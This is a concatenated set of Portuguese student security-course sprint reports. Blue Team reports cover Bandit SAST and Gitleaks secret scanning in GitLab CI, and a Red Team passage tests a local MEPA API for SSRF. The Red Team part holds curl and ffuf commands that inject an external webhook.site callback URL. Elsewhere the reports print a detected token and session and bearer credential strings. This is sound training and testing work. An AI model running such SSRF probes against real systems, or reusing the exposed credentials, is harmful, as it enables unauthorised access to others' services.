ferramenta SAST (Bandit) na pipeline de CI/CD 10 | - Configurar a análise para identificar vulnerabilidades de segurança no código 11 | - Integrar a ferramenta de forma não-bloqueante na fase inicial 12 | - Documentar vulnerabilidades encontradas e próximos passos 13 | 14 | ## Metodologia 15 | 16 | ### 1. Análise do Repositório 17 | 18 | Inicialmente, foi realizada uma análise do repositório [ej-application](https://gitlab.com/pencillabs/ej/ej-application) para identificar: 19 | - Tecnologias utilizadas (exclusivamente Python) 20 | - Estrutura do projeto e organização do código 21 | - Configuração atual da pipeline (.gitlab-ci.yml) 22 | - Ferramentas de qualidade já implementadas 23 | 24 | ### 2. Configuração do Bandit 25 | 26 | Foi criado um arquivo de configuração `.bandit.yaml` na raiz do projeto com as seguintes definições: 27 | 28 | ```yaml 29 | exclude_dirs: 30 | - /tests 31 | - /venv 32 | - /migrations 33 | - /.git 34 | - /.tox 35 | - /lib 36 | 37 | skips: 38 | - B101 # assert_used 39 | - B311 # random 40 | ``` 41 | 42 | Esta configuração: 43 | - Exclui diretórios não relevantes para análise de segurança 44 | - Ignora alguns testes específicos para reduzir falsos positivos 45 | 46 | ### 3. Integração na Pipeline 47 | 48 | Foi adicionado um novo estágio "security" na pipeline do GitLab, com um job dedicado para o Bandit: 49 | 50 | ```yaml 51 | bandit: 52 | stage: security 53 | image: 54 | name: python:3.9.19-slim-bookworm 55 | pull_policy: always 56 | before_script: 57 | - /bin/bash -c "pip install bandit==1.8.3" 58 | script: 59 | - /bin/bash -c "bandit -r src -c .bandit.yaml -f html -o bandit-report.html" 60 | - /bin/bash -c "bandit -r src -c .bandit.yaml -ll -ii" 61 | artifacts: 62 | paths: 63 | - bandit-report.html 64 | expire_in: 1 week 65 | when: always 66 | allow_failure: true 67 | ``` 68 | 69 | A configuração inclui: 70 | - Uso da mesma versão do Python utilizada no projeto 71 | - Geração de relatório HTML para análise detalhada 72 | - Configuração `allow_failure: true` para não bloquear a pipeline na fase inicial 73 | 74 | ## Resultados 75 | 76 | ### Pipeline Executada 77 | 78 | A implementação foi testada com sucesso na pipeline do GitLab: 79 | 80 | ![Pipeline SAST](https://github.com/user-attachments/assets/f80460f2-9673-4d93-ba34-fafb969ac69b) 81 | 82 | ![Image](https://github.com/user-attachments/assets/1adc1894-85fa-4a1e-b4dc-e309153b60b3) 83 | 84 | A pipeline completa agora inclui: 85 | - Verificação de estilo (black) 86 | - Análise de lint (ruff) 87 | - Análise de segurança (bandit) 88 | - Testes unitários (pytest) 89 | 90 | ### Vulnerabilidades Encontradas 91 | 92 | O Bandit identificou várias vulnerabilidades no código, incluindo: 93 | 94 | ![Vulnerabilidades Bandit](https://private-user-images.githubusercontent.com/62817427/446682232-985e7027-b705-4016-961e-b93626865951.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc5MzQxNjYsIm5iZiI6MTc0NzkzMzg2NiwicGF0aCI6Ii82MjgxNzQyNy80NDY2ODIyMzItOTg1ZTcwMjctYjcwNS00MDE2LTk2MWUtYjkzNjI2ODY1OTUxLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTA1MjIlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwNTIyVDE3MTEwNlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWJlNTAzMjg4ZmQ0MjExMWUwZDZhYmFhNzczOTFlOGVmMDU4ZWRmMGUyYjc3YmU2ZGU3YzdkOTVhNGRkMGY0ZDcmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.oDO7mZYbbbIEnTRuWd-RxfbszIXZu4kfFEpDzu6MlIE) 95 | 96 | #### Principais vulnerabilidades: 97 | 98 | 1. **Uso de exec() (Risco Médio)** 99 | - **Arquivo**: src/ej/settings/themes.py, linha 23 100 | - **Descrição**: Uso da função `exec()` que pode permitir execução de código arbitrário 101 | - **CWE**: CWE-78 102 | 103 | 2. **Jinja2 sem autoescape (Risco Alto)** 104 | - **Arquivo**: src/ej_integrations/mailing.py, linha 60 105 | - **Descrição**: Ambiente Jinja2 configurado sem autoescape, podendo levar a vulnerabilidades XSS 106 | - **CWE**: CWE-94 107 | 108 | 3. **Uso de hash MD5 fraco (Risco Alto)** 109 | - **Arquivo**: src/ej_profiles/models.py, linha 326 110 | - **Descrição**: Uso de MD5 para hashing, considerado criptograficamente fraco 111 | - **CWE**: CWE-327 112 | 113 | 4. **Try-Except-Pass (Risco Baixo)** 114 | - **Múltiplos arquivos** 115 | - **Descrição**: Blocos try-except vazios que podem ocultar erros importantes 116 | - **CWE**: CWE-703 117 | 118 | 5. **Chamadas a requests sem timeout (Risco Médio)** 119 | - **Arquivo**: src/ej_integrations/utils.py, linha 6 120 | - **Descrição**: Chamadas HTTP sem timeout definido, podendo levar a ataques DoS 121 | - **CWE**: CWE-400 122 | 123 | ### Métricas 124 | 125 | ``` 126 | Metrics: 127 | Total lines of code: 13845 128 | Total lines skipped (#nosec): 0 129 | 130 | Run metrics: 131 | Total issues (by severity): 132 | Undefined: 0 133 | Low: 7 134 | Medium: 2 135 | High: 2 136 | Total issues (by confidence): 137 | Undefined: 0 138 | Low: 1 139 | Medium: 0 140 | High: 10 141 | ``` 142 | 143 | ## Recomendações 144 | 145 | ### Correções Prioritárias 146 | 147 | 1. **Alta Prioridade**: 148 | - Implementar autoescape no ambiente Jinja2 para prevenir XSS 149 | - Substituir o uso de MD5 por algoritmos mais seguros como SHA-256 ou bcrypt 150 | 151 | 2. **Média Prioridade**: 152 | - Revisar e refatorar o uso de `exec()` para alternativas mais seguras 153 | - Adicionar timeouts em todas as chamadas HTTP 154 | 155 | 3. **Baixa Prioridade**: 156 | - Revisar blocos try-except vazios para incluir tratamento adequado de erros 157 | 158 | ### Próximos Passos 159 | 160 | - Aplicar os conhecimentos adquiridos em DevSecOps para identificar possíveis vulnerabilidades no ciclo de desenvolvimento e propor melhorias. 161 | 162 | - Trabalhar na resolução de issues abertas, priorizando aquelas relacionadas à segurança, estabilidade e boas práticas de desenvolvimento seguro. 163 | 164 | ## Conclusão 165 | 166 | A implementação do Bandit como ferramenta SAST na pipeline do projeto EJ-Application foi concluída com sucesso. A análise identificou vulnerabilidades importantes que devem ser tratadas para melhorar a segurança da aplicação. 167 | 168 | A configuração atual permite que a equipe se adapte gradualmente às análises de segurança, sem bloquear o desenvolvimento, enquanto trabalha na correção das vulnerabilidades existentes. 169 | 170 | Esta implementação representa um primeiro passo importante na direção de práticas de desenvolvimento seguro, que podem ser expandidas e aprimoradas no futuro. 171 | -------------------------------------------------------------------------------- /2025.1/EJ/BlueTeam/relatorios/sprint2.md: -------------------------------------------------------------------------------- 1 | # Relatório de Análise de Secrets - Projeto EJ - Sprint 2 2 | 3 | **Semestre:** 2025.1 4 | **Sprint:** 2 5 | **Grupo:** BlueTeam EJ 6 | 7 | ## Introdução 8 | 9 | Este relatório detalha a análise realizada no projeto EJ-Application e sua pipeline de CI/CD com o objetivo de identificar informações sensíveis (secrets) expostas, como chaves de API, tokens, senhas e outras credenciais hardcoded. A exposição de secrets representa um risco significativo de segurança. Nesta sprint, além da análise manual, foi integrada uma ferramenta automatizada de secret scanning (Gitleaks) à pipeline para detecção contínua. 10 | 11 | ## Objetivos 12 | 13 | - Verificar a presença de informações sensíveis hardcoded no código-fonte e configurações. 14 | - Implementar e integrar uma ferramenta automatizada de secret scanning (Gitleaks) na pipeline. 15 | - Analisar arquivos de configuração e scripts de pipeline em busca de secrets expostos. 16 | - Identificar riscos associados à exposição de secrets. 17 | - Documentar os achados (manuais e automatizados) e fornecer recomendações para mitigação. 18 | 19 | ## Metodologia 20 | 21 | A análise foi realizada utilizando as seguintes técnicas: 22 | 23 | 1. **Análise Estática Manual (grep)**: Buscas iniciais por palavras-chave comuns associadas a secrets no código-fonte e arquivos de configuração. 24 | 2. **Revisão de Configuração da Pipeline**: Análise do arquivo `.gitlab-ci.yml` para identificar o uso de tokens e variáveis sensíveis. 25 | 3. **Revisão de Arquivos de Ambiente**: Análise do arquivo `docker/variables.env`. 26 | 4. **Análise Automatizada (Gitleaks)**: Integração da ferramenta Gitleaks na pipeline de CI/CD para varredura automatizada do repositório em busca de segredos expostos, utilizando análise de padrões e entropia. 27 | 28 | ## Resultados da Análise 29 | 30 | A análise combinada (manual e automatizada) identificou os seguintes pontos de atenção: 31 | 32 | ### 1. Secrets no Código-Fonte (`src/**/*.py`) 33 | 34 | - **Análise Manual**: Identificou usos de termos como `password`, `token`, `secret_id`, majoritariamente relacionados a funcionalidades esperadas (gerenciamento de senhas, tokens de reset, etc.). 35 | - **Análise Automatizada (Gitleaks)**: Não reportou segredos críticos diretamente no código da aplicação principal, mas identificou uma chave genérica em um arquivo de teste (`src/ej_users/tests/test_api.py`). 36 | - **Risco**: Baixo para o código principal, Médio para a chave no arquivo de teste (se for uma chave real ou representativa de um padrão inseguro). 37 | - **Recomendação**: Revisar a chave encontrada no arquivo de teste. Considerar o uso de placeholders ou dados fictícios em testes. 38 | 39 | ### 2. Secrets na Configuração da Pipeline (`.gitlab-ci.yml`) 40 | 41 | - **`GITLAB_EJ_TOKEN: ...` (Linha 10)** 42 | - **Detectado por**: Análise Manual e Gitleaks (como `generic-api-key`). 43 | - **Descrição**: Token de deploy do GitLab hardcoded. 44 | - **Risco**: **Alto**. 45 | - **Recomendação**: Remover o token do arquivo e armazená-lo como uma variável de CI/CD protegida e mascarada no GitLab. 46 | 47 | - **`https://gitlab-ci-token:${CI_JOB_TOKEN}@...` (Linha 82)** 48 | - **Detectado por**: Análise Manual. 49 | - **Descrição**: Uso seguro da variável `CI_JOB_TOKEN`. 50 | - **Risco**: Baixo. 51 | 52 | - **`https://$GITLAB_INFRA_TOKEN@...` (Linha 114)** 53 | - **Detectado por**: Análise Manual. 54 | - **Descrição**: Uso da variável `GITLAB_INFRA_TOKEN`. 55 | - **Risco**: Médio (depende da configuração da variável). 56 | - **Recomendação**: Garantir que `GITLAB_INFRA_TOKEN` esteja definida como variável protegida e mascarada no GitLab. 57 | 58 | ### 3. Secrets em Arquivos de Ambiente (`docker/variables.env`) 59 | 60 | - **`DJANGO_SECRET_KEY=...` (Linha 8)** 61 | - **Detectado por**: Análise Manual e Gitleaks (como `generic-api-key` ou similar, dependendo das regras do Gitleaks). 62 | - **Descrição**: Chave secreta do Django hardcoded. 63 | - **Risco**: **Alto**. 64 | - **Recomendação**: Remover do arquivo, carregar via variáveis de ambiente em produção/staging, adicionar `variables.env` ao `.gitignore`. 65 | 66 | - **`JWT_SECRET=...` (Linha 23)** 67 | - **Detectado por**: Análise Manual e Gitleaks (como `generic-api-key` ou similar). 68 | - **Descrição**: Chave secreta JWT hardcoded. 69 | - **Risco**: **Alto**. 70 | - **Recomendação**: Seguir a mesma recomendação da `DJANGO_SECRET_KEY`. 71 | 72 | - **`MAILGUN_API_KEY=` e `EMAIL_HOST_PASSWORD=`** 73 | - **Detectado por**: Análise Manual. 74 | - **Descrição**: Campos vazios para credenciais. 75 | - **Risco**: Baixo (enquanto vazios), mas risco potencial. 76 | - **Recomendação**: Garantir que `variables.env` esteja no `.gitignore`. 77 | 78 | ### 4. Outros Achados (Gitleaks) 79 | 80 | - **JWT em Documentação (`docs/development-guides/pt-br/api.rst`)**: Gitleaks detectou um JWT hardcoded em um arquivo de documentação. Embora possa ser um exemplo, representa um risco se for um token válido ou se ensinar práticas inseguras. 81 | - **Risco**: Médio. 82 | - **Recomendação**: Substituir por um placeholder ou exemplo claramente inválido na documentação. 83 | 84 | ### 5. Integração do Gitleaks na Pipeline 85 | 86 | Foi adicionado um job `gitleaks_scan` ao estágio `security` da pipeline: 87 | 88 | ```yaml 89 | # Job para Secret Scanning com Gitleaks (com resumo em Markdown) 90 | gitleaks_scan: 91 | stage: security 92 | image: 93 | name: zricethezav/gitleaks:latest 94 | entrypoint: [''] 95 | before_script: 96 | - apk add --no-cache jq bash 97 | script: 98 | - gitleaks detect --source . --verbose --report-path gitleaks-report.json || true 99 | - | 100 | if [ -s gitleaks-report.json ]; then 101 | echo '# Gitleaks Scan Summary' > gitleaks-summary.md 102 | # ... (script jq para gerar resumo) ... 103 | else 104 | echo '# Gitleaks Scan Summary' > gitleaks-summary.md 105 | echo 'No secrets found or report is empty.' >> gitleaks-summary.md 106 | fi 107 | artifacts: 108 | paths: 109 | - gitleaks-report.json 110 | - gitleaks-summary.md 111 | expire_in: 1 week 112 | when: always 113 | allow_failure: true 114 | ``` 115 | 116 | Este job executa o Gitleaks, gera um relatório JSON completo e um resumo em Markdown (`gitleaks-summary.md`) para facilitar a visualização dos resultados. 117 | 118 | **Resumo dos Achados do Gitleaks (Exemplo do `gitleaks-summary.md` gerado):** 119 | 120 | ```markdown 121 | # Gitleaks Scan Summary 122 | 123 | ## Secrets Found: 124 | 125 | ### Finding Type: generic-api-key 126 | - **Description:** Detected a Generic API Key... 127 | - **File:** .gitlab-ci.yml 128 | - **Line:** 10 129 | - **Secret:** `51xTbvyHGmEfeZZUxUct` 130 | ... 131 | --- 132 | ### Finding Type: jwt 133 | - **Description:** Uncovered a JSON Web Token... 134 | - **File:** docs/development-guides/pt-br/api.rst 135 | - **Line:** 30 136 | - **Secret:** `eyJhbGciOiJIUzI1NiIsIn...` 137 | ... 138 | --- 139 | ### Finding Type: generic-api-key 140 | - **Description:** Detected a Generic API Key... 141 | - **File:** src/ej_users/tests/test_api.py 142 | - **Line:** 129 143 | - **Secret:** `8d969eef6ecad3c29a3a6...` 144 | ... 145 | --- 146 | ``` 147 | *(Nota: O conteúdo completo do resumo gerado pela pipeline deve ser consultado no artefato `gitleaks-summary.md`)* 148 | 149 | ## Recomendações Gerais (Reforçadas pela Análise Automatizada) 150 | 151 | 1. **Utilizar Variáveis de Ambiente / Secrets Management**: Prioridade máxima para remover `GITLAB_EJ_TOKEN`, `DJANGO_SECRET_KEY`, `JWT_SECRET` dos arquivos versionados. 152 | 2. **`.gitignore`**: Adicionar `variables.env` imediatamente ao `.gitignore`. 153 | 3. **GitLab CI/CD Variables**: Configurar os tokens e chaves necessários para a pipeline como variáveis protegidas e mascaradas. 154 | 4. **Secret Scanning Contínuo**: Manter o Gitleaks ativo na pipeline. Considerar torná-lo bloqueante (`allow_failure: false`) para novos segredos detectados após a limpeza inicial. 155 | 5. **Revisão de Código**: Manter a verificação de secrets como parte do processo de revisão. 156 | 6. **Rotação de Secrets**: Rotacionar imediatamente o `GITLAB_EJ_TOKEN`, `DJANGO_SECRET_KEY` e `JWT_SECRET` expostos. 157 | 7. **Limpeza de Histórico (Avançado/Opcional)**: Para segredos expostos há muito tempo, considerar ferramentas para limpar o histórico do Git (complexo e arriscado, avaliar necessidade). 158 | 8. **Revisar Documentação e Testes**: Remover ou substituir secrets hardcoded em arquivos de documentação e testes. 159 | 160 | ## Conclusão 161 | 162 | A análise combinada (manual e automatizada com Gitleaks) confirmou a presença de múltiplos secrets hardcoded, representando riscos significativos. A integração do Gitleaks na pipeline fornece um mecanismo de detecção contínua essencial. A implementação das recomendações, especialmente a remoção de secrets dos arquivos versionados e a rotação dos valores expostos, é crucial para melhorar a postura de segurança do projeto EJ-Application. 163 | -------------------------------------------------------------------------------- /2025.1/MEPA/BlueTeam/relatorios/sprint1.md: -------------------------------------------------------------------------------- 1 | # SPRINT 1 - MEPA BLUE TEAM 2 | 3 | ## Integrantes 4 | 5 | - **Ricardo Augusto Valle Maciel** - 180077899 - [@avmricardo](https://github.com/avmricardo) 6 | - **Mateus Orlando Medeiros Ribeiro** - 211062259 - [@MateusPy](https://github.com/MateusPy) 7 | - **Danilo Carvalho Antunes** - 211039312 - [@Danilo-Carvalho-Antunes](https://github.com/Danilo-Carvalho-Antunes) 8 | 9 | --- 10 | 11 | ## 🛡️ Atividades de Capacitação Realizadas 12 | 13 | 1 - ✅ Conclusão da trilha “Pre Security” – TryHackMe 14 | 15 | Conteúdos abordados: 16 | 17 | - Fundamentos de segurança defensiva (Blue Team). 18 | 19 | - Operação de Security Operations Center (SOC). 20 | 21 | - Threat Intelligence (Inteligência de Ameaças). 22 | 23 | - Digital Forensics and Incident Response (DFIR). 24 | 25 | - Malware Analysis (Análise de Malware). 26 | 27 | 28 | 2 - ⚙️ Estudos da trilha “DevSecOps” – TryHackMe 29 | 30 | Conteúdos abordados: 31 | 32 | - Integração da segurança no ciclo de desenvolvimento (DevSecOps). 33 | 34 | - Práticas de segurança em pipelines CI/CD. 35 | 36 | - Ferramentas e técnicas para automação de análise de vulnerabilidades no desenvolvimento. 37 | 38 | - Gerenciamento de dependências e análise de containers. 39 | 40 | 41 | ## 💻 Atividades Práticas Realizadas 42 | 43 | 1 - ✅ Ambiente do Projeto MEPA configurado localmente: 44 | 45 | - Clonamos o repositório do projeto. 46 | 47 | - Realizamos o setup do ambiente na nossa máquina (configuração de dependências, banco de dados e serviços necessários). 48 | 49 | - Iniciamos o processo de análise do código e levantamento de pontos de atenção relacionados à segurança e possíveis melhorias. 50 | 51 | 2 - ⚙️ Análise inicial das Issues: 52 | 53 | - Começamos a estudar a Issue aberta no repositório, a qual pedia a criação de um SAST(Static Application Security Testing) caso o projeto não possuísse um. 54 | 55 | - O que é um SAST: É uma técnica de análise de segurança que examina o código fonte, bytecode ou binário de um software sem executá-lo. 56 | 57 | - Analisamos o repositório [MEPA Energia API](https://gitlab.com/lappis-unb/projetos-energia/mec-energia/mec-energia-api) e observamos que não havia SAST implementado na pipeline do projeto. Então fomos estudar a ferramenta Bandit que foi indicado pelo monitor na própria issue. 58 | 59 | - Após um estudo detalhado da documentação do Bandit, [disponível aqui](https://bandit.readthedocs.io/en/latest/), o integrante Ricardo Augusto criou um fork para implementarmos um JOB de SAST na pipeline do projeto. 60 | 61 | - Ao final, o JOB que criamos ficou assim: 62 | 63 | ![image](https://github.com/user-attachments/assets/d3636c50-3de0-4488-883c-a50fa7639edf) 64 | 65 | 66 | - Vamos detalhar melhor o que cada parte faz: 67 | 68 | - 1: Bloco Principal - Define o nome do job. Esse nome aparece na interface do GitLab CI/CD quando o pipeline roda. 69 | 70 | ``` 71 | sast-bandit: 72 | ``` 73 | 74 | - 2: Stage - O job será executado na etapa chamada quality. 75 | Essa etapa geralmente agrupa jobs relacionados a qualidade de código, análise estática (SAST), linters, etc. 76 | 77 | ``` 78 | stage: quality 79 | ``` 80 | 81 | - 3: Imagem - O job usará uma imagem Docker com Python 3.11 como ambiente de execução. 82 | 83 | ``` 84 | image: python:3.11 85 | ``` 86 | 87 | 88 | - 4: Antes de Rodar (before_script) - Antes de executar o script principal, instala o Bandit, que é a ferramenta de análise estática de segurança para código Python. 89 | 90 | ``` 91 | before_script: 92 | - pip install bandit 93 | ``` 94 | 95 | 96 | - 5: Script Principal 97 | 98 | - Imprime a mensagem "Rodando Bandit (SAST) no projeto" no log do pipeline, de forma informativa. 99 | 100 | - Comando que roda o Bandit(bandit -r . -ll -f json -o bandit-report.json): 101 | 102 | - -r . → Faz uma análise recursiva na raiz (.) do projeto. 103 | 104 | - -ll → Define o nível de detalhe do log como "low severity" (baixo), mostrando mais informações. 105 | 106 | - -f json → Formata o output no formato JSON. 107 | 108 | - -o bandit-report.json → Salva o resultado no arquivo chamado bandit-report.json. 109 | 110 | ``` 111 | script: 112 | - echo "Rodando Bandit (SAST) no projeto" 113 | - bandit -r . -ll -f json -o bandit-report.json 114 | ``` 115 | 116 | - 6: Artefatos 117 | 118 | - paths → Indica quais arquivos serão salvos como artefatos do job (bandit-report.json). 119 | 120 | - when: always → Salva os artefatos sempre, mesmo se o job falhar. 121 | 122 | - expire_in: 1 week → Os artefatos ficam disponíveis para download no GitLab por 1 semana. 123 | 124 | ``` 125 | artifacts: 126 | paths: 127 | - bandit-report.json 128 | when: always 129 | expire_in: 1 week 130 | ``` 131 | - 7: Permitir Falha (não quebra o pipeline) - Mesmo que o Bandit encontre vulnerabilidades (ou até erros), o pipeline não falha, ele apenas registra o problema. Isso permite que o pipeline continue executando as próximas etapas. 132 | 133 | ``` 134 | allow_failure: true 135 | ``` 136 | 137 | - 8: Regras de Execução - Define quando esse job será executado. 138 | 139 | - Se o pipeline for disparado por um Merge Request (merge_request_event), o job roda. 140 | 141 | - Se o pipeline for disparado por um Push (push) no repositório, o job também roda. 142 | 143 | ``` 144 | rules: 145 | - if: $CI_PIPELINE_SOURCE == 'merge_request_event' 146 | - if: $CI_PIPELINE_SOURCE == 'push' 147 | ``` 148 | 149 | ## Resultados 150 | 151 | ![image](https://github.com/user-attachments/assets/a2b108a3-1d77-4b55-9732-7ba4a3a7eab4) 152 | 153 | - A pipeline rodou conforme o esperado, abaixo disponibilizamos alguns prints dos testes realizados pelos alunos Mateus Orlando e Ricardo Augusto: 154 | 155 | - 1: Imagem de um merge teste antes de subirmos o JOB do Bandit: 156 | 157 | ![Imagem do WhatsApp de 2025-05-22 à(s) 01 19 32_ed263290](https://github.com/user-attachments/assets/38f8a9f1-6271-49f6-a656-7362e67a3180) 158 | 159 | - 2: Imagem do merge após a integração do JOB do Bandit: 160 | 161 | ![Imagem do WhatsApp de 2025-05-22 à(s) 01 20 47_3c610ea4](https://github.com/user-attachments/assets/ff864c13-a8e2-42c8-87f6-50fde2fa5f9b) 162 | 163 | - 3: Imagens do arquivo de relatório .jason, que foi criado após a passagem na pipeline. 164 | - Imagem 1: 165 | ![Imagem do WhatsApp de 2025-05-22 à(s) 01 32 39_61502bef](https://github.com/user-attachments/assets/7eb175b6-8c5d-4d7e-a666-d2fdd323a736) 166 | - Imagem 2: 167 | ![Imagem do WhatsApp de 2025-05-22 à(s) 01 33 45_01d9b17e](https://github.com/user-attachments/assets/560abc1d-1ef0-42b5-a335-6895dbce8ee8) 168 | 169 | - 4: Imagem mostrando que a pipeline gerou Warnings. Os quais são motivamos por pontos de possíveis SQL injections, possível binding para todas as interfaces e Possível XSS (Cross-Site Scripting). 170 | 171 | ![image](https://github.com/user-attachments/assets/a523e434-9fd4-45c5-9c95-e6881524f1fc) 172 | 173 | - Então, como resultado foram apontados 0 problemas de severidade alta, 6 problemas de severidade média, e 356 de baixa. 174 | 175 | Métricas Principais 176 | Total de arquivos analisados: 175 177 | Problemas encontrados: 6 178 | Problemas por gravidade: 179 | Severidade Média: 6 180 | Severidade Baixa: 356 181 | Problemas por confiança: 182 | Alta confiança: 321 183 | Média confiança: 38 184 | Baixa confiança: 3 185 | 186 | 187 | 188 | ## 📈 Próximos Passos 189 | 190 | - Aprofundar o entendimento da arquitetura do projeto MEPA. 191 | 192 | - Verificar a veracidade do relatório gerado pelo JOB do SAST. 193 | 194 | - Aplicar os conhecimentos adquiridos em DevSecOps para identificar possíveis vulnerabilidades no ciclo de desenvolvimento e propor melhorias. 195 | 196 | - Trabalhar na resolução de issues abertas, priorizando aquelas relacionadas à segurança, estabilidade e boas práticas de desenvolvimento seguro. 197 | -------------------------------------------------------------------------------- /2025.1/MEPA/BlueTeam/relatorios/sprint2.md: -------------------------------------------------------------------------------- 1 | # SPRINT 2 - MEPA BLUE TEAM 2 | 3 | ## Integrantes 4 | 5 | - **Ricardo Augusto Valle Maciel** - 180077899 - [@avmricardo](https://github.com/avmricardo) 6 | - **Mateus Orlando Medeiros Ribeiro** - 211062259 - [@MateusPy](https://github.com/MateusPy) 7 | - **Danilo Carvalho Antunes** - 211039312 - [@Danilo-Carvalho-Antunes](https://github.com/Danilo-Carvalho-Antunes) 8 | 9 | --- 10 | 11 | ## 🛡️ Atividades de Capacitação Realizadas 12 | 13 | ### 1 - ⚙️ Estudos da trilha “DevSecOps” – TryHackMe 14 | 15 | **Conteúdos abordados:** 16 | 17 | - Integração da segurança ao ciclo de desenvolvimento (DevSecOps). 18 | - Práticas de segurança em pipelines CI/CD. 19 | - Ferramentas e técnicas para automação de análise de vulnerabilidades. 20 | - Gerenciamento de dependências e análise de containers. 21 | 22 | ### 2 - ⚙️ Estudos iniciais sobre Web Application Firewalls (WAF) e OWASP Coraza 23 | 24 | **Conteúdos em estudo:** 25 | 26 | - Conceitos fundamentais de WAFs: o que são, como funcionam e sua importância em aplicações web modernas. 27 | - Tipos de WAFs: baseados em rede, host e nuvem. 28 | - Introdução ao OWASP Coraza: estrutura, benefícios e funcionalidades principais. 29 | - Integração do Coraza com servidores proxy reverso como Nginx e Caddy. 30 | - Estudo das documentações: 31 | - [OWASP Coraza Web Application Firewall](https://owasp.org/www-project-coraza-web-application-firewall/) 32 | - [OWASP Coraza - Quick Start Guide](https://coraza.io/docs/tutorials/quick-start/#requirements) 33 | - Análise de cenários de uso do Coraza na proteção de APIs Python. 34 | 35 | --- 36 | 37 | ## 💻 Atividades Práticas Realizadas 38 | 39 | ### 1 - ✅ Análise das vulnerabilidades encontradas na [issue 1](../relatorios/sprint1.md) 40 | 41 | - A partir das vulnerabilidades de nível médio apontadas pelo Bandit no repositório do MEPA API, foi feita uma análise detalhada dos trechos de código afetados. 42 | - Criamos um documento interno com anotações sobre os principais pontos levantados. 43 | - Iniciamos discussões sobre possíveis correções e como o uso de um WAF poderá complementar as proteções oferecidas pelo SAST. 44 | 45 | --- 46 | 47 | ## 📈 Próximos Passos 48 | 49 | - Iniciar a implementação de um ambiente de testes com o Coraza atuando como WAF para o back-end do MEPA. 50 | - Criar um script com regras padrão (OWASP CRS) para bloquear ataques comuns (XSS, SQLi, LFI etc.). 51 | - Avaliar o impacto do WAF no desempenho da aplicação e sua compatibilidade com as rotas existentes. 52 | - Explorar técnicas para integração dos logs do WAF com sistemas de monitoramento e geração de alertas. 53 | -------------------------------------------------------------------------------- /2025.1/MEPA/RedTeam/imagens/burpSuite01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2025.1/MEPA/RedTeam/imagens/burpSuite01.png -------------------------------------------------------------------------------- /2025.1/MEPA/RedTeam/imagens/burpSuite02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2025.1/MEPA/RedTeam/imagens/burpSuite02.png -------------------------------------------------------------------------------- /2025.1/MEPA/RedTeam/imagens/burpSuite03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2025.1/MEPA/RedTeam/imagens/burpSuite03.png -------------------------------------------------------------------------------- /2025.1/MEPA/RedTeam/relatorios/sprint1.md: -------------------------------------------------------------------------------- 1 | # Relatório Sprint 1 2 | 3 | ## MEPA RED TEAM 4 | 5 | * Carlos - 221031265 6 | * João - 200058525 7 | * Luis - 180066161 8 | * Vinicius - 160147816 9 | 10 | ## Atividades realizadas 11 | 12 | Durante esta sprint focamos nas seguintes atividades principais: 13 | 14 | * **Configuração do ambiente**: Subimos o ambiente do MEPA localmente em nossas máquinas. 15 | 16 | * **Exploração inicial da estrutura do projeto**: Realizamos uma análise preliminar da arquitetura e das rotas da API do MEPA, com o objetivo de identificar pontos que possam ser suscetíveis a vulnerabilidades do tipo SSRF. 17 | 18 | * **Estudo sobre SSRF (Server-Side Request Forgery)**: Dedicamos tempo ao estudo teórico sobre a vulnerabilidade SSRF, utilizando as referências de estudo. 19 | 20 | * **Testes para identificar SSRF (Server-Side Request Forgery)**: Dedicamos tempo a testes práticos para tentar encontrar vulnerabilidades do tipo SSRF. 21 | 22 | 23 | ## Exploração inicial 24 | 25 | ### Teste com `curl` 26 | 27 | Executamos um teste básico utilizando `curl` para verificar o comportamento da aplicação ao receber uma URL como parâmetro: 28 | 29 | ``` 30 | curl -L -v "http://localhost:8000/api?next=http://localhost:8000/api/admin/" -H "Cookie: sessionid=s24ols0or42p5ib616yv1q3wglcvi3le" 31 | ``` 32 | 33 | O objetivo era verificar se a aplicação realiza alguma requisição server-side para o endereço fornecido no parâmetro `next`, comportamento característico de uma vulnerabilidade SSRF. 34 | 35 | ### Fuzzing com FFUF 36 | 37 | Realizamos fuzzing utilizando o **FFUF** para explorar potenciais pontos vulneráveis nas rotas da API do MEPA, enviando URLs para verificar se a aplicação realiza requisições. 38 | 39 | Exemplo de um dos testes realizados: 40 | 41 | ``` 42 | ffuf -u "http://localhost:8000/api/reset-password/?FUZZ=https://webhook.site/b68374b4-2735-4223-92df-eb8b00bb7610" -H "Authorization: Bearer d71d2033f406250611bf1f09471f56ba2aab7f4c" -w wordlist-ssrf.txt -fs 0 43 | ``` 44 | 45 | ``` 46 | /'___\ /'___\ /'___\ 47 | /\ \__/ /\ \__/ __ __ /\ \__/ 48 | \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 49 | \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 50 | \ \_\ \ \_\ \ \____/ \ \_\ 51 | \/_/ \/_/ \/___/ \/_/ 52 | 53 | v2.1.0-dev 54 | ________________________________________________ 55 | 56 | :: Method : GET 57 | :: URL : http://localhost:8000/api/reset-password/?FUZZ=https://webhook.site/b68374b4-2735-4223-92df-eb8b00bb7610 58 | :: Wordlist : FUZZ: /home/carlos/Documentos/UnB/2025.1/GCES/SSRF/wordlist-ssrf.txt 59 | :: Header : Authorization: Bearer d71d2033f406250611bf1f09471f56ba2aab7f4c 60 | :: Follow redirects : false 61 | :: Calibration : false 62 | :: Timeout : 10 63 | :: Threads : 40 64 | :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 65 | :: Filter : Response size: 0 66 | 